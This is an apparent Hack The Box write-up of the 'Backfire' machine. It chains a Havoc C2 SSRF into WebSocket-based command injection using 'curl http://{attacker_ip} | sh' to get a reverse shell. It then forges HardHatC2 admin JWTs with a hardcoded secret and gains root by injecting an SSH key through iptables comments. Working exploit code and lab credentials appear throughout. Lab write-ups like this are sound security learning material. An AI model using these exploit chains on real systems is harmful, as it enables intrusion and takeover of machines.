Medium
Backfire [30 pts]
Challenge Description |
Points: 30 |
Solves: 2424 |
- enumerate and find that the server is running Havoc without WSS, which is vulnerable to SSRF as well as RCE
- combine two exploits to get a reverse shell as one of the users
- find another C2 framework with public CVE to chain authentication bypass and RCE, access this user (pivot)
- enumerate and find sudo access to iptables, use comments with newlines to dump public key into root ssh authorized keys
Enumeration
kali@kali:~/HTB/backfire $ nmap -sC -sV -oA nmap/backfire 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 04:06 EST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
...
443/tcp open ssl/http nginx 1.22.1
...
5000/tcp filtered upnp
8000/tcp open http nginx 1.22.1
...
Discovered 4 ports in total
443
seems to not be responding like a normal website8000
shows a directory which contains two files
havoc.yaotl
is a configuration file for Havoc. Here are the contents of the file (only keeping important parts)
Teamserver {
Host = "127.0.0.1"
Port = 40056
...
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
disable_tls.patch
is a text file showing changes made to the Havoc application. It switches from wss
to ws
for both client and server.
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
Havoc
Havoc is a command and Control (C2) framework used in red teaming and penetration testing to remotely control compromised systems during security assessments
Havoc structure
1. Teamserver
- central server that coordinates all communication, manages operators, listeners, and agents
- handles encrypted communication between the compromised machines (agents) and the operators
- runs as a WebSocket server, accepting and forwarding commands
2. Operators
- connect to the Teamserver using the Havoc GUI or CLI and send commands through the Teamserver, which relays them to the agents (compromised machines)
- multiple operators can work together, sharing the same infrastructure
3. Listeners
- act as the network bridge between agents and the Teamserver, they listen for connections from infected hosts and relay commands
- Havoc supports multiple listener types:
- HTTP/S Listener – Uses web traffic (e.g., HTTPS over 443)
- SMB Listener – Uses Windows SMB for lateral movement
- External listener
4. Agents
- agents (aka demons) are the payloads executed on target machines
- once an agent is running, it beacons back to a Listener, waiting for commands
- agents execute tasks (commands) sent by the operators via the Teamserver
- common actions:
- running shell commands
- downloading/uploading files
- privilege escalation
- lateral movement
Okay now that we know the basic structure, let’s go back and check what we know. From the havoc.yaotl
we know the configuration
- the Teamserver is running as internal service at port 40056 and can’t be accessed from the outside
- there is a HTTP listener running on port 8443 … we have discovered opened port 443 and since it’s a nginx server, it’s probably a reverse proxy, so we have access to the listener
- we have valid credentials of some operators
- we know that operators and listeners communicate with server via WebSockets, however, it significant efforts were made so that they don’t not use secure WebSockets (both in client and server)
Havoc CVEs
There is one CVE which immediately pops up when searching for Havoc CVEs. It’s chebuya/Havoc-C2-SSRF-poc: CVE-2024-41570: Havoc C2 0.7 Teamserver SSRF exploit, which enables opening a TCP socket on the Teamserver. There is also Unauthenticated SSRF (CVE-2024-41570) on Havoc C2 teamserver via spoofed demon agent // blog, which covers full analysis of the exploit. I’m not going to go into details, but in summary
- it spoofs agent registration and creates new temporary agent
- after agent is created, new tasks can be dispatched, for example
COMMAND_SOCKET
, which enables creating a socket to arbitrary IP address - when new socket is created, agent can post new jobs to write data into the socket (
SOCKET_COMMAND_READ
) and also retrieve data from the socket (although this is not crucial for our use case)
Let’s run the default PoC and see exactly how it works. On the right side, I started a python web server on port 80. On the left side, I ran the PoC from GitHub, which takes --target
(listener address), -i, -p
IP address and port where to create the TCP socket. In this case, I provided my machine and after executing the script we can see incoming connection from the box, so we know it works.
What now?
The idea that immediately popped up is to use this to communicate with the Teamserver, since we couldn’t access it from the outside. There are two problems with this:
- the basic payload only sends simple HTTP request, but the Teamserver communicates with WebSockets, so how hard it is to communicate with it?
- are there any more exploits we can do when we can reach the Teamserver?
Let’s continue with the second question. After doing some research on the box authors (first one having the exploit posted above), we can find another CVE, which can lead to RCE c2-vulnerabilities/havoc_auth_rce at main · IncludeSecurity/c2-vulnerabilities (conveniently from the second author of the box). It essentially uses command injection in the Service Name
field when compiling custom agents. After taking a quick glance at the code, I immediately noticed that is uses python websocket implementation to communicate with the Teamserver
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
I knew that this could be a little bit problematic, since it means that we need to implement some basic websockets ourselves. Luckily, the server was changed to use ws
instead of wss
so it’s a lot easier.
Combining both CVEs with WebSockets
When trying to reach /havoc/
endpoint on the server, we can notice that the server returns Bad Request
, as it is expecting us to upgrade to WebSocket.
kali@kali:~/HTB/backfire/CVE $ python3 exploit_SSRF.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Sec-Websocket-Version: 13
X-Content-Type-Options: nosniff
Date: Thu, 06 Feb 2025 16:42:05 GMT
Content-Length: 12
Connection: close
Bad Request
In RFC 6455: The WebSocket Protocol we can find, that communication starts with the opening handshake, which is compatible with HTTP-based access. It also provides example of this handshake (I modified it a bit to match our Host
(localhost:port
) and endpoint (/havoc/
)):
# Replace PoC original req_data
req_data = f"\
GET /havoc/ HTTP/1.1\r\n\
Host: 127.0.0.1:40056\r\n\
Upgrade: websocket\r\n\
Connection: Upgrade\r\n\
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9YZrd0w==\r\n\
Sec-WebSocket-Version: 13\r\n\
Connection: Upgrade\r\n\r\n"
Now when we try to connect to the server, nothing happens (which is a good sign, as the connection was established correctly, we didn’t send any data yet)
kali@kali:~/HTB/backfire/CVE $ python3 exploit_SSRF.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
WebSockets use frames to send data. I’m not going to explain them in detail, as you can read about them in documentation. We basically just need to implement function to form a frame and send it to the server
def ws_frame(payload):
# Create websocket frame
paylen = len(payload)
header = bytes([0x81]) # FIN + OPCODE 01 (text payload)
mask_bit = 0x80 # Always sending mask
if paylen <= 125:
header += bytes([mask_bit | paylen])
else:
header += bytes([mask_bit | 126]) + paylen.to_bytes(2, 'big')
# If you want to send larger payloads than 65535 add another branch
# Generate mask and mask payload
mask = random.randbytes(4)
m_payload = bytes([b ^ mask[i % 4] for i, b in enumerate(payload)])
return header + mask + m_payload
Since we are going to be sending payloads with length <= 65535 I’ve omitted sending larger payloads (only using up to first two payload length fields). After implementing ws_frame
, we can combine both CVEs
# paste code from SSRF exploit
# ...
# def decrypt(key, iv, ciphertext):
# def int_to_bytes(value, length=4, byteorder="big"):
# def encrypt(key, iv, plaintext):
# def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# def open_socket(socket_id, target_address, target_port):
# def write_socket(socket_id, data):
# def read_socket(socket_id):
# ...
# socket_id = b"\x11\x11\x11\x11"
# open_socket(socket_id, args.ip, int(args.port))
def ws_frame(payload):
# Create websocket frame
paylen = len(payload)
header = bytes([0x81]) # FIN + OPCODE 01 (text payload)
mask_bit = 0x80 # Always sending mask
if paylen <= 125:
header += bytes([mask_bit | paylen])
else:
header += bytes([mask_bit | 126]) + paylen.to_bytes(2, 'big')
# If you want to send larger payloads than 65535 add another branch
# Generate mask and mask payload
mask = random.randbytes(4)
m_payload = bytes([b ^ mask[i % 4] for i, b in enumerate(payload)])
return header + mask + m_payload
req_data = f"\
GET /havoc/ HTTP/1.1\r\n\
Host: 127.0.0.1:40056\r\n\
Upgrade: websocket\r\n\
Connection: Upgrade\r\n\
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9YZrd0w==\r\n\
Sec-WebSocket-Version: 13\r\n\
Connection: Upgrade\r\n\r\n"
request_data = bytes(req_data, encoding="utf-8")
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode("utf-8"))
# code from the RCE exploit
USER = "sergej"
PASSWORD = "1w4nt2sw1tch2h4rdh4tc2"
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
write_socket(socket_id, ws_frame(bytes(json.dumps(payload), encoding="utf-8")))
# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
write_socket(socket_id, ws_frame(bytes(json.dumps(payload), encoding="utf-8")))
# Create a psuedo shell with RCE loop
cmd = f"curl http://{attacker_ip} | sh"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
# Command injection in demon compilation command
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
write_socket(socket_id, ws_frame(bytes(json.dumps(payload), encoding="utf-8")))
The command provided in the PoC retrieves index.html
from our http server and executes it, therefore to run the exploit we need to
- have HTTP server serve reverse shell payload (right up terminal)
- have netcat listener for the reverse shell (right down terminal)
- run the script (left terminal), where
-I
is our IP address
Funny enough, even when using sergej
credentials we get access as ilya
user. I’ve also noticed that the connection keeps breaking apart for some reason, to have permanent access I’ve added my public key to .ssh/authorized_keys
echo "ssh-ed25519 AAAAC3Nz... user" >> ~/.ssh/authorized_keys
We can read the user flag now, but also confirm the Listener was indeed on port 443 via nginx proxy:
ilya@backfire:~ $ cat /etc/nginx/conf.d/havoc.conf
server {
listen 443 ssl;
server_name backfire.htb;
# SSL configuration
ssl_certificate /home/ilya/Havoc/data/server.cert;
ssl_certificate_key /home/ilya/Havoc/data/server.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Proxy to backend service
location / {
proxy_pass https://127.0.0.1:8443;
proxy_read_timeout 90;
proxy_connect_timeout 90;
proxy_send_timeout 90;
}
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
}
Lateral movement
Find comment in file hardhat.txt
which says
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
So another C2 framework. Let’s skip directly to finding vulns for this one. This Medium blog seems interesting [HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | Jan, 2025 | สยามถนัดแฮก](https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7). The second part is interesting, where we can use static jwt to create new administrator user. |
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = 'localhost:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "password",
"role": "TeamLead",
"username": "assist"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
Now we can do local port forwarding to get access to the internal service at port 5000
(let’s also do 7096
since it’s used in the next exploit)
ssh -L 5000:localhost:5000 -L 7096:localhost:7096 ilya@10.10.11.49
Now go to https://localhost.:7096/Implants
and sign in with credentials in the PoC (assist:password
). Go to Interact
and create a new terminal. There we can issue commands, which are executed as the user running HardHatC2 (sergej). Let’s add our public key to his .ssh/authorized_keys
as before to gain access to his account.
Now that we are finally logged in as sergej
let’s see what we can do. sudo -l
reveals that we have access to the following commands:
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
After some googling we can find this blog on how to do privesc with iptables
. First, list all chains and rules
sergej@backfire:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:5000
ACCEPT tcp -- localhost anywhere tcp dpt:5000
REJECT tcp -- anywhere anywhere tcp dpt:5000 reject-with icmp-port-unreachable
ACCEPT tcp -- localhost anywhere tcp dpt:7096
ACCEPT tcp -- localhost anywhere tcp dpt:7096
REJECT tcp -- anywhere anywhere tcp dpt:7096 reject-with icmp-port-unreachable
ACCEPT all -- anywhere anywhere /* \ntessssssst\n */
ACCEPT all -- anywhere anywhere /*
tessssssst
*/
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Creating new rule for the INPUT chain
sergej@backfire:~$ sudo iptables -A INPUT -i l0 -j ACCEPT
Create a new rule with comment including a newline
sergej@backfire:~$ sudo iptables -A INPUT -i l0 -j ACCEPT -m comment --comment $'This is inserted\nwith a newline'
sergej@backfire:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:5000
ACCEPT tcp -- localhost anywhere tcp dpt:5000
REJECT tcp -- anywhere anywhere tcp dpt:5000 reject-with icmp-port-unreachable
ACCEPT tcp -- localhost anywhere tcp dpt:7096
ACCEPT tcp -- localhost anywhere tcp dpt:7096
REJECT tcp -- anywhere anywhere tcp dpt:7096 reject-with icmp-port-unreachable
ACCEPT all -- anywhere anywhere /* This is inserted
with a newline */
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Dumping all rules
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i l0 -m comment --comment "This is inserted
with a newline" -j ACCEPT
The newline gets preserved. iptables-save
is used for dumping contents of iptables
into another file (specified by -f
or to STDOUT). The blog suggests creating a new user by dumping configuration in /etc/passwd
with new root login on the newline. However this does not work on this machine. Instead, use it to add your public SSH key to the root SSH folder (as we’ve done twice now).
sergej@backfire:~$ sudo iptables -A INPUT -i l0 -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsNaGNTvMUhJaxojV9b9LM+7dLW38IOQ921AeQxUFU/ yesroot\n'
sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
And finally connect from your machine
kali@kali:~/HTB/backfire $ ssh root@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Feb 10 15:33:37 2025 from 10.10.16.92
root@backfire:~# ls
root.txt